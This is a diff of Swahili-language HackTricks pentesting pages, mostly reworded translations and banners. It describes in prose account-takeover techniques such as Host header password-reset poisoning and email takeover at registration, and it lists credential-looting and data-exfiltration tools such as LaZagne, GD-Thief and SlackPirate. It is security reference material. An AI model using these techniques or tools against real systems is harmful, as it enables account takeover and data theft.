@ -43,19 +44,19 @@ Unaweza kubadilisha sheria hii kwa kutumia lebo ya meta ya HTML (mshambuliaji an
|
|||
```
|
||||
## Ulinzi
|
||||
|
||||
Usiwahi kuweka data nyeti ndani ya parameta za GET au njia katika URL.
|
||||
Usiweke data nyeti ndani ya paramita za GET au njia katika URL.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,46 +1,63 @@
|
|||
# Mbinu Nyingine za Wavuti
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Kichwa cha Mwenyeji
|
||||
|
||||
Maranyingi seva ya nyuma inaamini **kichwa cha mwenyeji (Host header)** kutekeleza baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **kikoa cha kutuma upya nywila**. Kwa hivyo unapopokea barua pepe na kiungo cha kusahihisha nywila yako, kikoa kinachotumiwa ni kile ulichoweka kwenye kichwa cha mwenyeji. Kisha, unaweza kuomba kusahihisha nywila ya watumiaji wengine na kubadilisha kikoa kuwa moja unayodhibiti ili kuiba nambari zao za kusahihisha nywila. [Andika](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Maranyingi seva ya nyuma huiamini **Kichwa cha Mwenyeji** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **kikoa cha kutuma upya nywila**. Kwa hivyo unapopokea barua pepe na kiungo cha kusahihisha nywila yako, kikoa kinachotumiwa ni kile ulichoweka kwenye Kichwa cha Mwenyeji. Kisha, unaweza kuomba kusahihisha nywila ya watumiaji wengine na kubadilisha kikoa kuwa kimoja kinachodhibitiwa na wewe ili kuiba nambari zao za kusahihisha nywila. [Andika](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tambua kwamba inawezekana hata usihitaji kusubiri mtumiaji bonyeze kiungo cha kusahihisha nywila kupata ishara, labda hata **filti za barua taka au vifaa/bots vya kati vitabonyeza** kuchambua.
|
||||
Tambua kwamba inawezekana hata usihitaji kusubiri mtumiaji bonyeza kiungo cha kusahihisha nywila ili kupata ishara, labda hata **filters za barua taka au vifaa/bots vya kati vitabonyeza** kuchambua.
|
||||
{% endhint %}
|
||||
|
||||
### Vigezo vya Kikao
|
||||
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, seva ya nyuma itaongeza tu boolean yenye thamani "Kweli" kwa sifa ya usalama ya kikao chako. Kisha, mwisho tofauti utajua ikiwa umepita mtihani huo kwa mafanikio.\
|
||||
Hata hivyo, ikiwa **unapita mtihani** na kikao chako kinapewa thamani ya "Kweli" kwenye sifa ya usalama, unaweza kujaribu **kupata rasilimali nyingine** ambazo **zinategemea sifa ile ile** lakini **hupaswi kuwa na ruhusa** ya kufikia. [Andika](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, seva ya nyuma ita**ongeza tu boolean yenye thamani "Kweli" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utajua ikiwa umepita mtihani huo kwa mafanikio.\
|
||||
Hata hivyo, ikiwa **unapita mtihani** na kikao chako kinapewa thamani ya "Kweli" kwenye sifa ya usalama, unaweza kujaribu **kupata rasilimali nyingine** ambazo **zinategemea sifa ile ile** lakini **haupaswi kuwa na ruhusa** ya kufikia. [Andika](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Kazi ya Usajili
|
||||
### Utendaji wa Usajili
|
||||
|
||||
Jaribu kusajili kama mtumiaji anayepo tayari. Jaribu pia kutumia herufi sawa (madoa, nafasi nyingi na Unicode).
|
||||
|
||||
### Kuchukua Barua pepe
|
||||
|
||||
Sajili barua pepe, kabla ya kuidhibitisha ibadilishe barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho inatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuidhinisha ile ya kwanza, unaweza pia kuchukua akaunti yoyote.
|
||||
Sajili barua pepe, kabla ya kuthibitisha, badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho inatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuthibitisha ile ya kwanza, unaweza pia kuchukua akaunti yoyote.
|
||||
|
||||
### Kufikia Dawati la Huduma za Ndani za Kampuni zinazotumia Atlassian
|
||||
### Kufikia Dawati la Huduma za Ndani za Kampuni zinazotumia atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
### Mbinu ya TRACE
|
||||
|
||||
Wabunifu wanaweza kusahau kulemaza chaguo mbalimbali za kurekebisha katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP ya `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imeanzishwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kutoa katika jibu ombi kamili lililopokelewa. Tabia hii mara nyingi ni salama, lakini mara chache husababisha kufichua habari, kama jina la vichwa vya kuthibitisha vya ndani ambavyo vinaweza kuongezwa kwa maombi na wakala wa kurudisha.
|
||||
Wabunifu wanaweza kusahau kulemaza chaguo mbalimbali za kurekebisha katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP ya `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kutoa majibu yanayoiga ombi halisi lililopokelewa. Tabia hii mara nyingi ni salama, lakini mara chache husababisha kufichua habari, kama jina la vichwa vya kuthibitisha vya ndani ambavyo vinaweza kuongezwa kwa maombi na wakala wa kurudisha.
|
||||
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Tafuta zaidi kuhusu mashambulizi kwa DNS**
|
||||
**Tafiti zaidi kuhusu mashambulizi kwa DNS**
|
||||
|
||||
**DNSSEC na DNSSEC3**
|
||||
|
||||
|
|
|
|||
|
|
@ -1,29 +1,47 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## **Mali za Ndani**
|
||||
## **L00t ya Mtaani**
|
||||
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Hizi script, mbali na kutafuta vectors za PE, zitatafuta habari nyeti ndani ya mfumo wa faili.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Mradi wa **LaZagne** ni programu huru inayotumika kwa **kupata nywila nyingi** zilizohifadhiwa kwenye kompyuta ya ndani. Kila programu inahifadhi nywila zake kwa kutumia mbinu tofauti (maandishi wazi, APIs, algoritimu za desturi, maktaba za data, n.k.). Zana hii imeendelezwa kwa lengo la kupata nywila hizi kwa programu zinazotumiwa sana.
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Hizi script, zaidi ya kutafuta vectors za PE, zitatafuta habari nyeti ndani ya mfumo wa faili.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Mradi wa **LaZagne** ni programu huru inayotumika **kupata nywila nyingi** zilizohifadhiwa kwenye kompyuta ya ndani. Kila programu inahifadhi nywila zake kwa kutumia mbinu tofauti (maandishi wazi, APIs, algoritimu za desturi, maktaba za data, n.k.). Zana hii imeendelezwa kwa lengo la kupata nywila hizi kwa programu zinazotumiwa sana.
|
||||
|
||||
## **Huduma za Nje**
|
||||
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Moduli hii itaunganisha kwenye API ya Confluence kwa kutumia tokeni ya ufikiaji, kuuza kwa PDF, na kupakua nyaraka za Confluence ambazo lengo ana ufikiaji.
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Moduli hii itaunganisha kwenye API ya Confluence kwa kutumia token ya ufikiaji, kuuza kwa PDF, na kupakua nyaraka za Confluence ambazo lengo ana ufikiaji.
|
||||
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Zana ya Timu Nyekundu ya kuchukua faili kutoka kwa Google Drive ya lengo ambayo wewe (mshambuliaji) una ufikiaji, kupitia API ya Google Drive. Hii ni pamoja na faili zote zilizoshirikiwa, faili zote kutoka kwa madereva yaliyoshirikiwa, na faili zote kutoka kwa madereva ya kikoa ambayo lengo ana ufikiaji.
|
||||
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Zana ya Timu Nyekundu ya kuchukua Mwongozo wa Watu wa Google wa shirika la lengo ambalo una ufikiaji, kupitia API ya Watu wa Google.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Hii ni zana iliyoendelezwa kwa Python ambayo hutumia API za asili za Slack kutoa habari 'zinazovutia' kutoka kwenye nafasi ya kazi ya Slack ikitoa tokeni ya ufikiaji.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound ni zana ya mstari wa amri kwa timu nyekundu na buluu kufanya upelelezi haraka wa nafasi ya kazi/ shirika la Slack. Slackhound hufanya ukusanyaji wa watumiaji wa shirika, faili, ujumbe, n.k. kuwa rahisi kutafutwa na vitu vikubwa huandikwa kwenye CSV kwa mapitio nje ya mtandao.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Hii ni zana iliyoendelezwa kwa Python ambayo hutumia Slack APIs ya asili kutoa habari 'zinazovutia' kutoka kwa nafasi ya kazi ya Slack ikitoa token ya ufikiaji.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound ni zana ya mstari wa amri kwa timu nyekundu na buluu kufanya upelelezi haraka wa nafasi ya kazi/ shirika la Slack. Slackhound hufanya ukusanyaji wa watumiaji wa shirika, faili, ujumbe, n.k. kuwa rahisi kutafutika na vitu vikubwa huandikwa kwenye CSV kwa mapitio nje ya mtandao.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
Loading…
Reference in a new issue